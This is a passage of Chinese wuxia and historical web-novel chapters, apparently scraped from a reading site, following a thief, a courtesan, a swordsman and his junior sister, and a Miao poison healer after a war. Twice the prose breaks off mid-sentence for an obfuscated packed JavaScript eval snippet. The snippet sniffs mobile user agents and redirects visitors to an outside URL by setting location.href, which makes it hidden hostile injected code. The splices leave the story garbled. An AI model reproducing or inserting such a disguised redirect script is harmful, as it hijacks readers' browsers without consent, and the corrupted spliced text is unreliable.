他深吸一口气,语气中带着刻意的关切:“表妹受苦了。如今你有什么难处尽管和我说,我……我们小时候的情谊可还算数,你尽管找我。” 武婵似乎并不动容,万两金说着说着都有些迷茫了。他以为当初父亲和姨父之间的矛盾不会牵连到小辈头上来,他与表妹对当初的别离应当都是不情愿的才对。怎么表妹却对他如此冷淡,难道真是对那已逝的丈夫用情至深? 万两金有些胸闷,便听武婵道:“多谢万老板挂心。家父如今也升迁京城,妾身一切尚可,不敢劳烦。” 也对……既然表妹在京城,姨父肯定也来了。 武婵说完,目光重新落回那几匹绸缎上,对旁边的伙计道:“就这些吧,劳烦帮我包起来。” 万两金张了张嘴还想说什么,见表妹已经拿出一个荷包准备付钱,连忙道:“表妹这是做什么?自家人还付什么钱。这匹布算我送你的!你缺什么只管来这铺子里,或者招呼一声,我让人给你送去。” 武婵摇摇头,将几块碎银子放在柜台上,从伙计手里接过包好的布匹:“万老板客气了,无功不受禄,这钱还是要付的。 “万老板,告辞。”她抱着布匹转身就走。 手里那两颗核桃被他无意识地攥得死紧,万两金不明白为何表妹如此冷淡,正垂头丧气,却见地上落着一个眼熟的秀气荷包。 这是…… 意识到这是表妹落下的,万两金捡起荷包追出门口,四下张望,却寻不到表妹的身影。 正后悔没问武婵家住何处,突然想起她方才提起姨父已迁官京城,猛一跺脚暗骂自己蠢笨。他只稍略一打听,不就能知道姨父家住何处了吗? 低头看看手中绣着花鸟的荷包,万两金定了定心神。说不定表妹冷淡是因为多年未见,且重逢得突然,他鲁莽之下的言行也确实唐突佳人。 他眼神一点点变得坚定,见街上熙熙攘攘人来人往,转身回到铺子里。 59. 夜静春山空 天色将晚,一道几乎与暮色融为一体的黑影悄无声息地落在破庙院墙上。陈飞燕扯下蒙面的黑巾,大摇大摆翻进院子,一边从腰上解下一个皮质水囊,润了润唇。 这次的委托人丢的是柄传家宝刀,说是传到他父亲这代家道旁落,子辈抛弃了以往见不得人的生意上岸,唯独想要取回这件落入仇人手里的传家宝。 偏生他这仇人搬迁去了塞外,可让陈飞燕一通好找,才在某个鸟不拉屎的地界找到人,重新将宝物取了回来。 几日奔波下来,可累坏她了。 这处破庙是陈飞燕暂歇的落脚点,香火断绝,庙中佛像无人祭拜早就落满灰尘,连表层的金箔都被人撬去了。陈飞燕就是看重此地无人打扰,安心住下。因着自己扰了佛祖清静,每次来时都带上几支佛香燃起。 烟气在炉里飘飘袅袅,陈飞燕盘腿坐在蒲团上,身旁的阴影里又悄无声息落下一个人。她没多管,她所知的人里,轻功比她厉害的只有一个。 “咳咳。” 阴影里传出一阵熟悉的咳嗽声,一阵摸索声后,那人似乎拿出了什么东西咽下,平复呼吸后才开口:“回来了?” 咳嗽是师傅无影手的老毛病了,早年他性子猖狂,仗着自己轻功好偷术高无所顾忌,但常在河边走哪有不湿鞋,遭人暗算吸了毒气,落下个常年咳嗽的毛病。 陈飞燕应声。 一阵沉默。无影手似乎犹豫了一下,带着迟疑道: “你爹娘有消息了。” 陈飞燕终于侧过头看向那片阴影。爹娘?这两个字对她来说遥远得像上辈子的事,她很小年纪就被卖了,这个概念连同幼时那些模糊不清的记忆一起,早就被丢在角落落灰。 就像这尊佛像。 阴影里的声音继续说着:“在青马郡的西柳村,就姓陈。男人打仗的时候断了条腿,现在瘫在床上,家里靠女人缝补衣裳过活,日子不大好过。” 乌云将月色蒙起来,使阴影更加黑,陈飞燕的表情叫人看不清楚。 无影手有犹豫过到底要不要让陈飞燕知道这件事。但他已经太老,老得开始想念亲情。他一辈子无牵无挂,几乎将陈飞燕看成自己养大的女儿。忍不住想,要是陈飞燕将来开始想念自己的亲生父母可怎么办? 想办法打听出消息,才知道卖掉陈飞燕的那家人后来还生了几个孩子,可惜都夭折了。兜兜转转,居然只剩下陈飞燕这么个亲生的。 陈飞燕将水囊重新塞回腰间起身,拉上黑巾遮住口鼻,只露出一双锐利的眼睛。 “知道了。” 话音刚落,她又施展轻功翻出了墙,几个起落消失在夜色里。无影手依旧隐在阴影中,看着她消失的方向许久,才发出一声几不可闻的叹息。 西柳村不大,总共就这么几户人家,低矮的土坯房地散落着,看上去有些破败。 陈飞燕攀上了村口一棵老槐树,隐在树杈之间,远远望着村尾那间最破败的院子。从她的视角看去,正好能看到那个佝偻着背的老妇人躬身从一个破木盆里捡起衣裳,晾晒几件打满补丁的旧衣服,动作缓慢而吃力。 半开着门的房间里光线昏暗,只能勉强看见一个盖着被子的身影一动不动躺在床上。 风缠绕起陈飞燕散落的碎发,她心里没什么大的波澜,只觉得眼前景象萧瑟,有些落寞。 陈飞燕没去认亲,在屋后寻了个隐蔽的角落,将用布包着的一些银两塞进墙根下松动的石头里,用脚踩了踩,确保不会被风吹走,也不会被轻易发现。 回去路上,陈飞燕在一个快收摊的酒肆前停下了脚步,想着无影手平时的口味买了一坛烈酒,想了想,又去买了些梨子。 酒壶是粗陶的,带着凉意。她拎着酒壶抱着梨,难得没用轻功偷懒,踏踏实实走在路上。街上冷清,没什么来往的行人。 街角处传来一阵孩童的喧闹声,几个小孩子正围成一团争抢着什么,相互推搡叫嚷着。 “这是我的,我先看到的!” “给我玩玩!就玩一下!” “哇——” 陈飞燕目光随意扫过,脚步未停,准备绕开。即将与那群孩童擦肩而过时,一个孩子手上争抢用力过猛,手里的物件突然脱手飞了出来,“啪嗒”一声,恰好落倒在她的靴尖前不远处的地上。 是一尊蟾蜍像。 陈飞燕的脚步顿住了,见三足蟾蜍造型古拙,口衔一枚已经暗淡无光的铜钱,呈现一副“招财金蟾”的样式。 寻常的金蟾献宝也就罢了,可眼前这只蟾蜍,陈飞燕可太熟悉了。 曾富甲一方周家,那个附庸风雅的“伪君子”周长信,据说能保周家五代富贵的金蟾蜍,如今就这么流落凡间被顽童争抢。 “哎呀!那是我的!”旁边的小孩子叫起来。 陈飞燕腾不出手,试探性踢了踢那蟾蜍,比预想中轻不少,微愣,回神后一脚将那蟾蜍像踢回了那群孩子身边,孩童呼啦一下又围上去好玩地争抢起来。 根本不是什么足金。 因年代久远和保管不善,镀金层早已磨损得七七八八,只剩下一些残存的金色,在昏暗的天光下,勉强维持着一点虚假的光泽。 陈飞燕收回目光,不再看那尊在尘土中被争来抢去的蟾蜍像,加快了脚步。 她还得回去给师傅送酒呢。 - 添香阁,春风卷着庭院里桃树若有似无的香气飘进来。安弄溪正坐在妆台前,铜镜映出一张素净的脸。没有敷粉,没有描眉,只唇上点了一抹极淡的胭脂,头发松松挽了个髻。 门外传来极轻的叩门声。 “进来。” 一个下人捧着紫檀木托盘进来,托盘上放着一串钥匙和一块羊脂白玉印。他将托盘轻轻放在妆台上,语气恭敬:“娘子,这是阁里各处库房的钥匙和您的印信。” 安弄溪伸出手,指尖触碰到那枚玉印上刻的“清姿”二字,冰凉温润的触感顺着指尖蔓延开。这是她当年初入添香阁时,老鸨给她取的花名,后来出阁便弃用了。 如今兜兜转转,这名字竟又回到了她手里,连同这偌大的添香阁。 她淡淡应道:“知道了,还有什么事?” “京城云家派人送了东西来,说是给娘子贺乔迁之喜的贺礼,放在前厅了。” 许久没听到这个名字,安弄溪恍惚了一瞬,脸上依旧没什么表情,只“嗯”了一声。下人识趣地不再多言,躬身退出去,轻轻带上了门。 屋里重新安静下来,只有窗外风吹过新叶的沙沙声。 安弄溪的目光投向窗外,添香阁的庭院依旧精巧,假山流水,曲径通幽。只是物是人非。 她闭上眼,仿佛还能闻到那股浓重的血腥气,还能感受到手中匕首刺入仇人身躯时传来的阻塞感,以及温热的液体喷溅在脸上的粘腻。 那个好色、贪婪、致使她家破人亡的尚书,在她面前瞪圆了眼睛倒下去后,她心中没有大仇得报的快意,只有一片巨大的空白。 赵衡最开始找上她时,说的是要她给兵部尚书云业吹枕头风,就算不能撺掇其反水叛变,也能借安弄溪的身份便利取得些隐秘情报。并承诺“事后定会助你为自己和家人复仇”。 好笑。 赵衡大概没想到,他选定的棋子会如此不顾后果地脱离掌控,并亲手破坏了他计划中的重要一环。虽说阴差阳错世事难料,对最后的结果影响不了什么。但初闻云业暴毙的消息时,赵衡大概还是生气的。 安弄溪的仇恨她自己会报,哪里要什么居心叵测的人插手。她与赵衡最多算得上相互利用,赵衡帮她进云府,她弄些半真半假的情报随便应付过去。 反正自从进了云府,安弄溪就没想着活着出去,早做好了鱼死网破的准备。 是于世镜。 安弄溪在云府中见到他时心都漏了一拍,复杂情绪翻涌上来,有吃惊有愧疚,还有些唯恐对方说破自己身份的担忧。 她与于世镜有过些渊源。 彼时于世镜要上京城寻亲,途径大益郡,被正在添香阁楼上弹琵琶的安弄溪吸引了心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288479|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,差点就要放弃寻亲待在添香阁不走了。 当然了,最后的结局是被安弄溪拒绝,并因为没钱而被打出了添香阁。 安弄溪怕他怀恨在心,可于世镜举止如常,就像不认识她一般,她也逐渐放下心来,只当对方娶亲成家后已经忘记这段露水情缘。 直到后来她杀了云业。 大仇得报,安弄溪也心怀死意,正枯坐在书房内等着自己最后的审判。于世镜却突然冲进来说要她赶快离开,别被人发现。 他将安弄溪藏到一处隐蔽的小院,一直等到风头过去。 “你就不怕你的新婚妻子知道,你帮了她的杀父仇人?” “……她知道的。” 安弄溪震惊,从于世镜口中知道了一桩云府秘闻。 数年前朝廷党派之争牵连了一众官员,也使得安弄溪家道中落,其中的罪魁祸首正是兵部尚书云业。这也是安弄溪宁愿以身入局,也要亲手杀了云业的原因。 那场看不见硝烟的战争实际还牵连到了音律世家宁家。 好色的云业对于名满天下的宁秋水垂涎许久,借此要求纳宁秋水为妾。宁秋水为保全家人只好答应下来,后来还从中斡旋,解救出了自己沦落教坊司的徒弟安弄溪。 入云府本就是勉强为之,还是当妾,宁秋水郁郁寡欢。后来生下了女儿云雅娘,宁秋水虽然不喜欢云业,却将女儿当成寄托,将自己一身技艺教给她。 原本一切都向好转了,但云业三心二意四处留情,宁秋水最终还是消逝在深宅大院的四方天地里。 在这种环境下成长起来,云雅娘对自己的父亲没什么感情,甚至有着怨恨。在安弄溪初入云府时,她弹奏的那一手熟悉的琵琶曲,让云雅娘顿悟其与自己的母亲必然有不浅的关系。 虽然在赵衡的帮助下,安弄溪的过往掩藏得很好,云雅娘也探查不出什么。但她隐约能猜到对方来者不善。 很好,有了一把能借来的刀。 云雅娘有意无意助攻,同时让于世镜借云家势力在官场青云直上,以免将来云府发生不测后直接跌落下去。 赵衡以为自己是执棋人,其实棋子从来不在他手上。安弄溪以为自己是捕蝉的螳螂,其实还有黄雀在后。就连看似掌控了一切的云雅娘,其实也是被不可知的命运推着走。 云业已死,但云家还有个朝廷热人于世镜。其确实有几分本事,且对朝廷忠心耿耿。 赵军入京后,于世镜拼死搏斗。身受重伤,但好歹留了一条命,也给云家挣出了天子的信任。 战争结束,赵衡惨败,百废待兴之时,也无人再去深究一个尚书府里发生的“意外”。 在云家的掩饰下,安弄溪顺利脱身,决定重回大益郡,这个她生活了许多年的地方。添香阁的老鸨年事已高,又经历了战乱动荡,见安弄溪活着回来,便索性将添香阁传给她。 于是,安弄溪做回了那个“清姿娘子”,多了添香阁主人的身份。 安弄溪将印信放回托盘,起身走到窗边。不远处隐约传来丝竹管弦之声,还有姑娘们娇柔的调笑声。这里或许就是她今后唯一的栖身之所,一个埋藏着她过往的地方。 春风拂过她的脸颊,带着新生的暖意。几个新来的小丫头正踮着脚,小心翼翼地给那几株桃树浇水。 安弄溪收回目光,望向更远处。 大益郡郡守换了人。听说那甘复死前还在奋战,倒是让安弄溪生出敬佩之心,不过也就一丝丝。毕竟坏人不能只因为做了一件好事就洗白吧。 老郡守丧子后病故,王姨娘收拾了细软,带着一双聪慧的儿女离开,据说是投奔远方的亲戚去了。新郡守新官上任三把火,看上去年轻气盛,誓要有所作为。 安弄溪关上窗,隔绝了窗外的喧嚣和春风,到梳妆台前拿起了那串钥匙,准备去点验库房,顺道去前厅看看云雅娘和于世镜给她送来了什么贺礼。 要是送的好,留下也没什么。要是不合她心意,退回去拉倒。 反正此生,尘埃落定,各归其位。 60. 明月松间照 师傅说过好剑都是有灵的。 秦嵇接过那柄长剑,掌心处剑稍的温度像是寒到了他心里,让他不由自主地打了个寒战。 “送给你了,算作见面礼罢。” 秦嵇双膝跪在地上,脊背笔直,略带稚嫩的面上不显波澜,恭恭敬敬道:“徒儿秦嵇,拜见师傅。” 秦嵇自拜在其师门下后,就是断了半段红尘,与亲生父母间再无瓜葛。师傅隐居山野,养了三只白鹤,酿了三坛好酒,埋在院子里的梨花树下。 山上的生活实际是极乏味的,他性格沉闷,师父也总是不见人影。陪伴他的似乎只剩下一片苍茫和一阁子的剑谱。 但现在不是了。 秦嵇看着眼前低垂着头的女童,莫名生出一股同病相怜的悲凉。 她说她姓“鱼”——就是不知道是哪个“鱼”,父母亲死在了探亲路上,好不容易靠着野果和乞讨回了家,晕倒在家门前的路上,后来就被师傅带上了山。 “鱼”师妹不识字,师傅也总是三天两头见不着人,于是秦嵇就充当了小师傅,教她习字教她练剑。 长期相处下去,他才发现“鱼”师妹实际是个活泼开朗的人,度过了刚上山那会儿的迷茫无助,话匣子彻底打开了。 “师兄,师傅一直都这样见不着人吗?” “师兄,你的生辰是什么时候?” “师兄,你的厨艺是和师傅学的吗?” “师兄……” 整天到晚叽叽喳喳,且大多是问句,逼的秦嵇也得回答。 有时被吵得烦了,他索性充耳不闻。 山中的日子单调且枯燥,“鱼”师妹的话匣子也好像越变越小,越变越小。尤其是在发觉秦嵇并不喜欢自己的多话后,更是变得有话想说也憋在心里。 那几天风比往日更刺骨,刮在人脸上生疼,秦嵇知道快入冬了。他依旧早起练剑,却发现往日一直注视他的那道目光没了影子。 他心里疑惑,直到用早膳时也不见“鱼”师妹,才发觉出了问题。 几次叫唤后无人应答,秦嵇犹豫再三,推开了那间少女闺房的门,第一眼瞥见的就是少女透着朦胧气息的帘帐,透过帘帐,女孩子瘦弱的身躯此时正如一片枯叶落在床上。 秦嵇的心抽了一下,从来波澜不惊的脸上显出不知所措,上前查看师妹的情况。被子被师妹踹在床角,她此刻只穿了单薄的里衣,脸上泛着不正常的红晕,额头发烫,气息轻得不可觉察。 秦嵇直觉师妹是发烧了,用一块打湿的破布,小心翼翼地擦拭着虞鱼滚烫的额头和脖颈。他试过用凉井水给她擦身,试过喂她喝水,可热度就是退不下去,反而有越来越烫的趋势。再这么烧下去,怕是要出事。 “我去找大夫!” 最近的医馆在山脚下,秦嵇心急,撒开腿就在崎岖的山路上狂奔。冷气从鼻腔和口腔钻进来,喉咙里干得冒烟,肺像要炸开一样疼,但他不敢停。 终于远远见了隐约的村落轮廓,秦嵇一头冲进镇上的医馆。 “大夫,我师妹,我师妹她发烧了,烧得厉害,求您过去看看!” 老先生抬起眼皮,慢悠悠地打量了一下眼前半大的小伙子,问过地方后皱起了眉头:“老夫年纪大了,这山路怕是走不动。”他顿了顿,看着秦嵇苍白的脸色,“这样吧,老夫给你开几副药,你拿回去煎了给她服下。若是明日还不退烧,你再来一趟。” 秦嵇攥紧了拳头,又无可奈何。 三包用草纸包好的药递到手里,秦嵇连声道谢都顾不上说,抓起药包转身就走,唯恐自己回去得慢了。 当他终于踉踉跄跄回来,一把推开门进去:“药……” 眼前景象让他顿住脚步。一个熟悉的身影正背对着他坐着,端一个小碗,用勺子给床榻上的师妹喂什么,空气中一副山草药的苦涩气息。虞鱼虽然还闭着眼,但脸上的潮红似乎褪去一些,呼吸也变得平稳悠长。 秦嵇怀里还抱着那三包草药,汗水顺着脸庞流下来:“师傅。” 温明听到动静回头,见秦嵇形色狼狈,不复从前冷淡寡言的样子,好奇问:“你这是去哪儿了?” 秦嵇看着温明手里那碗药汁,张了张嘴含糊过去:“出去练剑了。师妹她怎么了?” 温明将最后一点药汁喂完,放下碗,用袖子擦了擦虞鱼嘴角的药渍:“着凉发烧了,我在山后采了点退热的草药,给她喂下去了,虞鱼睡一觉应该就没事了。” 原来小师妹真叫虞鱼。 虽然自己的好心成了多余,但师妹总归是没事了。师傅温明似乎也终于明白自己放养两个小孩在山上多危险,和他们待在一起的时间更长了。 日子就这么过去。 秦嵇靠着树干,手里无意识地捻着一根枯草,隐在月色朦胧的阴影里。他今年十八,身量已经拔得很高,常年练武也让他身形挺阔,只是眉宇间还残留着少年人的青涩。 目光落在不远处。 虞鱼今年十五,出落得越发清丽,像一支带着露水的青荷,坐在秋千上晃荡,视线正胶着地黏在庭院石桌上、那个醉倒的身影。温明喝多了,手边倒着一个歪斜的酒葫芦,此刻已经不省人事。 心像是被什么东西轻轻刺了一下,泛起一丝微妙的酸涩。 虞鱼像是下定了某种决心,轻轻从井沿上跳下来,穿着布鞋的脚轻踏在地上,悄无声息走到温明身边。 她蹲下身凑近,近到能数清温明眼睑上细密的睫毛,不自主屏住呼吸,像是怕惊扰了一场易碎的梦。心虚地向四周看,没见到秦嵇,而后极其缓慢地低下头,将唇印在温明微蹙的眉心。 轻得像一片羽毛落下。 虞鱼像是被烫到一般直起身,脸颊瞬间通红,眼睛里闪烁着惊慌与羞涩,还有一丝得偿所愿的隐秘的欢喜。她像只受惊的小鹿,捂着嘴头也不回地跑开,没有注意到梨花树后那个将她所有举动尽收眼底的师兄。 秦嵇手里的枯草被捻得粉碎。 他看着温明毫无所觉的睡颜和虞鱼消失的方向,仿佛透过他们,看到了某些早已存在却被他刻意忽略的东西。 师傅教导过他以柔克刚,恰如此时此刻,心底那点从未宣之于口、甚至不敢细细分辨的朦胧情愫,已经被这个轻柔的吻击碎。 最终秦嵇站起身,拍了拍身上的草屑和尘土。看了一眼这个他生活了十几年的地方,然后转过身朝着下山的方向,迈出了脚步。 十八岁的秦嵇,在一个月白风清的夜晚,揣着心底那份刚刚破土就被深埋的黯然,独自一人,下山闯荡江湖去了。 三年光阴,弹指刹那。 江湖的风霜比从前山上的风霜更冷冽,秦嵇的眉宇间褪尽最后一丝青涩,取而代之的是一种被世事磨砺出的冷硬和沉默。他走过很多地方,经历了很多事,身上的旧疤叠着新伤。 在一个秋雨潇潇的夜晚,他接到一封辗转而来的信。信很短,只说虞鱼与人交手身受重伤,性命垂危。 秦嵇连夜动身,马不停蹄,赶了三天三夜的路。 虞鱼躺在床上,脸色白得像一碰即碎的薄瓷,每次呼吸,脖颈间青色泛黑的经脉就更加明显。仇家下手极重,伤在她五脏六腑。 意识在黑暗中沉浮,偶尔能感觉到一双温热的手在为她更换浸血的绷带,带着奇异气味的药汁从嘴里灌进来。 虞鱼不知道挣扎了多久,终于从那片沉重的黑暗中挣脱出来一丝清明,艰难地一点点掀开眼帘。 转动眼珠,视线缓缓聚焦。 床边坐着的人胡子拉碴,眼窝深陷,脸上带着连日不休的疲惫。是秦嵇。 “师兄……” 秦嵇如释重负,按下她想要起身的肩:“别动,感觉怎么样?” 虞鱼目光在这间简陋的一览无余的房内扫过,除了秦嵇,空无一人。她喃喃着,声音轻得像一声叹息:“只有师兄在啊……” 秦嵇动作几不可察地顿了一下,喉结滚动想说什么,嘴唇动了动,最终却只是更紧地抿成一条直线。 桌边汤碗的未喝完的药汁里,还沉淀着少量带着奇异清香的琥珀色膏状物。这是治疗内伤的神药菩萨膏,万金难求。 是今早天还未亮时,一个风尘仆仆的身影塞进他手里的。 那人没有进门,甚至没有朝床榻上看一眼,只是声音沙哑地说了句“化水内服”,接着转身消失在还未沉下去的月影里,来去匆匆像幻影。 秦嵇什么都没说,垂下眼,用木勺慢慢搅动着碗里浓黑的药汁,将膏体彻底搅匀,一勺一勺将那混合了菩萨膏和某些复杂情绪的苦涩药汁,小心喂进虞鱼嘴里。 药肯定是很苦的。 不然师妹为什么皱眉,为什么落泪,为什么心如死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288480|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰? 据说是温明从前的仇家找上门来,威胁虞鱼说出温明的下落,虞鱼不从便被打成重伤。秦嵇想去给虞鱼报仇时,怎么也找不到对方,估摸着是被温明解决了。 虞鱼经此一役,决定和秦嵇一样离开山上。不过她不打算去闯荡江湖,而是来到了绮香镇。 秦嵇则继续在江湖中游历,再次与温明相见时,对方不知有了什么际遇,原本缠绕在身上那股子颓然气息消失不见,整个人变了许多。 温明托秦嵇给岱山上的故人带一壶酒,秦嵇应下了。温明托秦嵇给虞鱼带一封信,秦嵇没答应。 去往岱山路上,秦嵇途径绮香镇,去看了眼自己的师妹。记得那是个多雨的时节,他见到虞鱼一切安好。 后来秦嵇意外与孔英及其友人同路了一段,直到许久之后才得知孔英的身份,以及她与赵衡的纠葛。诸如种种,略去不提。 送完了酒,完成温明的嘱托,秦嵇无事一身轻,正想着抓阄决定接下来往何处走,虞鱼出现了。她已经得知当年救自己性命的菩萨膏是温明送来。 虞鱼从秦嵇口中再次确认了这一事实,心头一时间各种情绪全涌上来,如一团乱麻已经分不清楚。此刻她只想找到温明,问一问他到底是什么意思。 之后的一切超出了虞鱼的意料。她本是好意帮孔英,却没想到温明就在敌军的营地里头。计划失败,孔英被俘。虞鱼又自责又难过,但微小的个人在时代洪流下是不堪一击的。 敌军来袭,怀州沦陷。 为自我保全,秦嵇和虞鱼只得不断被迫北上,战火蔓延到了大益郡。虞鱼终于如愿以偿见到了温明。 只可惜身死魂消,万物寂静。 她和秦嵇送温明落叶归根,将他的尸骨带回七贤郡埋葬,不知道算不算了却他最后一桩心愿。 “你怨过我吗?” “什么?” “我没告诉你菩萨膏是怎么样来,也没帮温明带那封信。” “没有,我只怪这世道阴差阳错。” 分辨不清虞鱼有没有骗自己,秦嵇又上路了。浮世飘摇,何以为家? 战乱结束后,秦嵇路过继海府天贵镇,居然碰见了个故人。 一口半旧的铁锅架在泥炉上,锅里熬着稀薄的小米粥,冒着细微的热气。摊主头发白了一半,脊背微驼,穿一件粗布褂子,正拿着长柄木勺,慢悠悠地搅动着锅里的粥。 秦嵇腹中正空,便道:“劳驾,来碗米粥。” “好嘞。”摊主应声舀了碗粥,又从小桌上的瓦罐里夹一小撮咸菜放在粥上。 秦嵇接过碗,没有立刻喝,见摊主那张脸依稀还能看出些过去的轮廓,只是面容中多了几分难以言说的从容。 “你可还认得我?”他突然问。 张德良闻言,抬起浑浊的眼睛打量着秦嵇,看了半晌,眼神里只有茫然和疑惑:“恕老汉眼拙,客官是……?” 秦嵇不再多言,摇了摇头:“认错了。” 这数年间他几乎将南朝走遍了。温明送他的这柄剑,斩过西北群山上的雪花,断过大江河流中的白浪。而现如今,秦嵇开始感到厌倦。 绮香镇的傍晚比江湖上许多地方喧嚣,却让他感到平和。 穿过集市,拐进一条相对安静些的侧街,在一间铺面前停下,门楣上挂着一块原木色的招牌,上写了三个颇有筋骨的黑字——烟尘铺。 他站在对街看着铺子里,带着种近乡情怯的惶恐。 虞鱼没看见他,身上穿着件浅黄色裙衫,岁月似乎没怎么改变她。这么多年过去,虞鱼和秦嵇印象中小师妹的样子半分不差。 他迈步穿过街道,身影堵住了铺门口的光线。虞鱼抬头,逆着光眯了下眼,脸上毫不掩饰地闪过惊讶:“师兄?” “你近来可还一切都好?” 虞鱼笑了:“一切都好。师兄这是打哪儿来?” “外面。”秦嵇答得含糊。这些年他随心所欲想去哪里便去哪里,自己都忘了自己是从哪里来。 他忽然没头没尾地问:“还缺人吗?” 秦嵇迎着虞鱼的目光,朝屋里那些摆放着的各式香料和高大的货架抬了抬下巴:“搬东西,上货,看店……这些活儿我都能干。” 铺子里一下子安静了,只剩下外面街市隐约的嘈杂。 “管饭就行。” 61. 清泉石上流 江南的雨总是下得很缠绵,屋内不通风,湿冷的感觉顺着人尾椎爬上来,让人忍不住打了个寒颤。 屋内住着闻名江南的毒医圣手,没人知道她的名字,也没人知道她从哪里来。她在人们的记忆中,自出现起似乎就是一副老态,极少出门,像一株长在阴暗角落里的藤蔓沉默地守在这里。 只有她自己记得。 她的家乡当然不在江南,而在千里之外的西南,在那十万座山林之间。作为苗族的女儿,廖双盘天生亲近那些常人避之不及的毒虫蛇蚁。 或许是骨子里不安分的野性作祟,廖双盘厌倦寨子里单调重复的日子,偷偷溜出大山一路向东,想看看传说中的锦绣江南。 廖双盘到了江南才知此间有如此富贵的地方。她初出山林不知礼义廉耻,不分黑白好坏,凭着一手出神入化的蛊术在此间兴风作浪,不知不觉间早积累了许多仇家。 江南的繁华让她目眩神迷,但就像西南丛林中艳丽的野菌子往往剧毒,这里并不像廖双盘以为的那般安逸。 对方显然是冲着她而来,手段狠辣毫不留情。廖双盘虽擅蛊毒,近身搏杀却非所长。就在她被逼至绝境之时,一个身影如同惊鸿般掠入她眼中。 穿着一身利落的劲装,眉眼清丽英气逼人,招式中带着江南水乡少有的凌厉狠辣,将围攻廖双盘的人逼得后退,一把拉起重伤的她背在背上,冲出包围圈。 救下廖双盘的女人此时尚未嫁入孔家,还没有更被人熟知的护国公夫人头衔。她只是江湖上一个崭露头角的年轻侠女,还只是叶雪薇。 分明是萍水相逢,叶雪薇却有着一副救人救到底的菩萨心肠。 廖双盘的伤势在叶雪薇的照料下逐渐好转,令她诧异的是,对方从来没好奇过自己的来历,也从没问过她为何会受人追杀。 似乎只是一次路见不平拔刀相助。 廖双盘原本还心有顾虑,但见叶雪薇居然真就不图回报,这么放自己离开了,才惊觉对方真是单纯地帮了她。 江南人还真是……善良过头。 廖双盘暗地里嘲笑叶雪薇根本就不知道自己救了个什么祸患。江山易改本性难移,她这么个人人喊打的蛊毒妖女,当然不会因为一次陌生人的善意而改变。 于是她接着惹是生非,接着为非作歹,接着…… 接不了了,她被叶雪薇逮住了。 面对眼前人怒气冲冲的神情,廖双盘不但不怕,反而舒展容颜得意洋洋。她等着看叶雪薇如何懊悔,如何痛苦自己居然救了个十恶不赦的歹人。 叶雪薇却不如她的意,虽然教训了她一顿,却没把她扭送到衙门关入地牢,只是暂封了她的功力,还没收了她的蛊虫。 …… 没收了!她的!蛊虫! 没了蛊虫,她这个妖女还怎么当啊! 为了以防万一,叶雪薇还亲自给她里里外外洗了个澡。廖双盘气得用苗族话骂了叶雪薇半天,却见对方半点都不变脸,才想起来对方听不懂。 真是的,气得她脑子都糊涂了。 不过叶雪薇似乎真想当圣人。这个女人天天把现在毫无威慑力的廖双盘带在身边,强迫她看着自己是如何行侠仗义,好不容易空闲下来,就扯着廖双盘的耳朵念四书五经贤人著作。 如此这般,搞得廖双盘头昏眼花,终于撑不住求饶:“别念了,别念了……我答应你,此生不再用蛊毒害人……” 叶雪薇见廖双盘有气无力的样子,笑了。 别说,她笑起来的样子还真挺好看。 蛊毒蛊毒,能杀人,也能以毒攻毒救人。既然答应了叶雪薇不再害人,那她就换个思路呗。不然她也没其他的什么谋生手段,要饿死啦。 不过廖双盘对救人的兴趣真不如杀人大,三天打鱼两天晒网,只想换个够活的钱。 她和叶雪薇阴差阳错成了类似朋友的关系,偶尔叶雪薇碰见想救却无法子的人,也会来她这里碰碰运气。 只不过有一天,叶雪薇抱来了她的女儿。 廖双盘知道叶雪薇嫁了个莽夫,她在喜宴上见过那人,长得一般行事粗鲁性格冒失,唯一的优点就是待叶雪薇极好。行吧,也行吧,反正叶雪薇也不听她的。 后来那莽夫成了起义军小头目。不过这和廖双盘无关,她对王权争霸向来是置身事外不甚关心。只是这事还牵扯到了叶雪薇。 叶雪薇的孩子长得皮包骨头,她自己也好不到哪里去,身子骨虚弱得像一阵风就能吹跑。他们寻遍名医,却无论如何也找不出病因,一家人形容憔悴萎靡不振。 廖双盘疑心母女二人是中了毒,可她,可她……她第一次有些后悔为何这么多年,自己没在医术上多费些心思。 但她还有最后一招。 一个用特殊油脂密封的陶罐,这是廖双盘当年逃出苗疆时携带的最珍贵的东西,里面装着一只蛊王幼虫。蛊王是从万千毒虫蛇蝎中厮杀出来,最后练就一副百毒之身。 只消一点点蛊王的粘液,便可制成阎王爷也救不回来的毒。而若是以人为母体用血肉滋养,可化腐朽为神奇,将人从阎王殿鬼门关拉回来。 以身伺蛊是件十分痛苦的事,可廖双盘答应过叶雪薇不再害人,自然没法随便抓个人来养蛊,于是…… 蛊王幼虫在江南这温润潮湿、却与苗疆截然不同的水土环境中,变得异常躁动。为了压制不安分的蛊虫,廖双盘不得不动用苗疆秘法,强行容纳和安抚蛊王。 此法见效虽快,却无异于饮鸩止渴。她的身体成了蛊王的养料,生命力被急速消耗。短短几天,她躺在床上生不如死,乌黑的发丝变得灰白枯槁,皱纹一点点在她面容上蔓延开。 当廖双盘恢复了一点力气,能勉强下地行走时,铜镜里映出的,已是一个形销骨立、暮气沉沉的老妪模样。 她的手不自觉攀上铜镜。 叶雪薇,这一次可要算你欠我的啊。 